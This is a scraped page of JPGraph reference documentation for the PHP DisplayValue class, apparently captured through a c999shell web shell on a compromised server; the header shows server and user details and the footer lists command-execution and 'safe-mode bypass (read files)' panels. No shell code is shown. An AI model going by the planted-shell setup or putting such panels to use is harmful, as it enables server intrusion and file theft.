Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS DisplayValue
(Defined in: jpgraph.php : 7902)
Class usage and Overview Property class which is used to represent the display value for graphs. For line and bar graphs they represent the propertied of the value that can be displayed at each data point. For bars it represents the value of each bar that can be displayed at top of the bars.
This class should never be used directly instead this is an internal class which is accessed through it's instance variable, for example, $lineplot = new LinePlot($datay); // Access the instance of DisplayValue $lineplot->value->Show();
See also related classes: LinePlot and BarPlot
Class Methods
Description Hide labels that have zero value See also DisplayValue::SetFormat and DisplayValue::SetFormatCallback
Example
Description Specify the alignment of the display value in relation to the data point. Possible values are 'left', 'right', 'center' Example $lineplot->value->Show();
Description Roates the text label a number of degrees. 0 degrees is horizontal.
Please rememberthat you must use TTF fonts if you need any angle other than 0 or 90 degrees (horizontal or vertical) See also DisplayValue::SetFont
Example // Setup the values that are displayed on top of each bar $bplot->value->Show(); // Must use TTF fonts if we want text at an arbitrary angle $bplot->value->SetFont(FF_ARIAL,FS_BOLD); $bplot->value->SetAngle(45); // Black color for positive values and darkred for negative values $bplot->value->SetColor("black","darkred");
Description Specify the value for the labels. You can have one color for positive and one color for negative values. If no negative color value is specified it will be the same as the positive color. Example $bplot->value->SetColor("black","darkred");
Description Specify font for display value See also DisplayValue::SetAngle
Example $bplot->value->SetFont(FF_ARIAL,FS_BOLD);
Description Specify the format string for positive and negative values. The format string follows the same riules as the standard printf() format.
Please remember that if you want to format a number with a '%' sign you must use double '%%' as escape format, e.g. '%01.2.f%%' will format a number with two decimal places and a following '%' sign.
Example // a dollar sign in front, e.g. '$237.56' $bplot->SetFormt('$%01.2f');
Description Specify a function that get's called to format any value. See also DisplayValue::SetFormat
Example // Format '1000 english style return number_format($aLabel) // Format '1000 french style // return number_format($aLabel, 2, ',', ' '); } $barplot->value->SetFormatCallback('barValueFormat');
Description Specify the margin between the data point and the label. Example
Description Enable display of the label. If you want to display a value you must enable it since it is turned off by default. Example $pieplot->value->Show();
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0154 ]-- |